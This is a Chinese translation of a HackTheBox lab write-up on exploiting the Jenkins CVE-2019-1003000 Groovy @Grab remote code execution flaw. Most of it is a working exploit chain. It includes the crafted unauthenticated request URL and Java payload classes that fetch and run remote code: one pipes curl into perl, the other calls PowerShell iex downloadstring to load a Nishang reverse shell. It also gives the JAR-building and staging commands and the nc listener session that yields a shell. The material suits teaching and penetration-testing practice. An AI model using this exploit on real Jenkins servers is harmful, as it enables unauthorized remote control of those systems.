前言
Orange Tsai发表了一篇关于CVE-2019-1003000
的write up,wp的关注点在于Jenkins中的RCE。最近我发现了HackTheBox.eu
中部署了Jenkins的测试平台,虽然相关配置不是那么完美,但我决定用它练练手,看看有没有新发现。
为了方便在Windows环境中运行,我将使用一个新的payload来对漏洞进行测试。
概述
漏洞利用背景
Jenkins有一个用Groovy实现的Pipeline特性。漏洞作者发现,用户发出一个未经验证的GET请求可作为Groovy元编程输入。在此输入中,攻击者可以使用@Grab
注释来调用Grape
(Groovy的内置JAR依赖管理工具),下载并运行一个JAR文件。wp中有关于此漏洞的更多细节。
目标主机:Jeeves
我将在HackTheBox.eu
的Jeeves中展开相关测试。Jenkins的web端口:50000
http://10.10.10.63:50000/askjeeves
Jeeves主机已关闭Jenkins的身份验证。实际上,只需访问脚本控制台并在那里运行Groovy脚本,就可以轻松地解决这个问题。
不过,我将看看是否可以使用提供的路径执行,即使没有身份验证,我也可以访问。
我还必须更新Windows目标的payload。
Exploiting
调用Grape
如果攻击的目的是创建一个GET请求,让Jenkins连接回我的机器并请求JAR文件,那调用Grape是一个非常妙的操作。
在POC视频中,我们可以看到在没有身份验证的情况下访问/securityRealm/user/admin
并返回一个管理员页面。我可以通过访问:
http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/
现在,我将使用Groovy
访问工作流插件的checkScriptCompile API
端点,Groovy
应该使用@Grab
元注释向我请求jar。利用python3 -m http.server 80
访问:
http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://10.10.14.21/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Orange;
在这个url中,我提供了一个value
参数,它是要运行的Groovy脚本。它使用%0A作为换行符。未编码之前的脚本:
@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://10.10.14.21/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;
它定义了orange.tw
包的参数,包括从哪里获取它,然后调用@Grab
来获取它。
在访问url时,Web服务器上的活动:
root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.63 - - [27/Feb/2019 11:07:18] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:18] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:07:19] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:19] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -
很酷!它试图下载一个pom文件,但失败了,随着就将目标转换为poc-1.jar
。这就匹配了url中的module
和version
。我可以在url中将module改为“0xdf”,将version改为“223”,看看有什么反应:
10.10.10.63 - - [27/Feb/2019 11:34:35] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:35] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:34:36] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 404 -
Web浏览器显示了一条很大的错误消息,表示无法解析依赖项:
构建Jar payload
博客提供了一个payload:
public class Orange {
public Orange(){
try {
String payload = "curl orange.tw/bc.pl | perl -";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
这将执行/bin/bash -c curl orange.tw/bc.pl | perl -.
我可以假设bc.pl
是一个反向shell。
对于Windows目标,必须对此进行修改。我将运行PowerShell来获取和调用Nishang shell
:
public class Orange {
public Orange(){
try {
String payload = "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.21/shell.ps1')";
String[] cmds = {"cmd", "/c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
现在我要将它放进jar中,编译java:
root@kali# javac Orange.java
创建适当的元数据:
root@kali# mkdir -p META-INF/services/
root@kali# echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
root@kali# find
.
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
将其打包到jar中:
root@kali# jar cvf 0xdf-223.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
阶段性的Payloads
接下来,我将把jar移动到GET请求的路径中:
root@kali# mkdir -p tw/orange/0xdf/223/
root@kali# mv 0xdf-223.jar tw/orange/0xdf/223/
我还备份了Invoke-PowerShellTcp.ps1
并且命名为shell.ps1
,以匹配jar中的内容:
root@kali# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1
然后,我将抓取示例行并将其粘贴到文件末尾,其中包含我的IP/端口信息:
root@kali# tail -1 shell.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.21 -Port 443
现在PowerShell将请求此文件,并执行该文件,将所有函数加载到PowerShell会话中,然后调用创建shell连接的会话。
Exploit
我将打开端口443上的nc
监听器。。现在我只需要再次访问url。刷新时,我首先看到Web服务器中的活动,6秒后请求jar文件,然后是请求shell.ps1
:
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:37] "GET /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:43] "GET /shell.ps1 HTTP/1.1" 200 -
不久后,得到shell
root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.63.
Ncat: Connection from 10.10.10.63:49680.
Windows PowerShell running as user kohsuke on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke
故障分析
java 版本
我第一次尝试时,Jenkins下载了我的jar文件,我在Web浏览器中收到以下错误消息:
java.lang.UnsupportedClassVersionError:Orange是由Java运行时的最新版本(class file版本55.0)编译的,该版本的Java运行时只识别52.0之前的class file版本
根据Wikipedia,版本51是Java SE 11,版本52是Java SE 8。
我在我的电脑上安装了Java 8
root@kali# apt install openjdk-8-jdk
然后,我使用了update-alternatives
来选择正确的版本:
root@kali# update-alternatives --config javac
There are 4 choices for the alternative javac (providing /usr/bin/javac).
Selection Path Priority Status
------------------------------------------------------------
0 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 auto mode
* 1 /opt/jdk-11.0.2/bin/javac 1 manual mode
2 /usr/lib/jvm/java-10-openjdk-amd64/bin/javac 1101 manual mode
3 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 manual mode
4 /usr/lib/jvm/java-8-openjdk-amd64/bin/javac 1081 manual mode
Press <enter> to keep the current choice[*], or type selection number: 4
update-alternatives: using /usr/lib/jvm/java-8-openjdk-amd64/bin/javac to provide /usr/bin/javac (javac) in manual mode
然后就可以了!
更新Jar
如果我在jar文件中弄错了什么东西,我不能只在本地更新它并刷新它。Grape认为正确的模块已经存在,不会去重新获取它。当然,我可以重置主机,重新开始。但是我也可以用下一个版本号重新构建它。
例如,如果我上传的java版本与box不兼容,我可以在本地重新编译它,重新构建jar,以及使用version 224而不是223进行其他操作。除此之外还需要一个新的jar目录和文件名:
root@kali# javac Orange.java
root@kali# jar cvf 0xdf-224.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
root@kali# mkdir tw/orange/0xdf/224
root@kali# cp 0xdf-224.jar tw/orange/0xdf/224/
现在我更新了url中的版本并刷新,得到了一个shell。
原文链接:https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html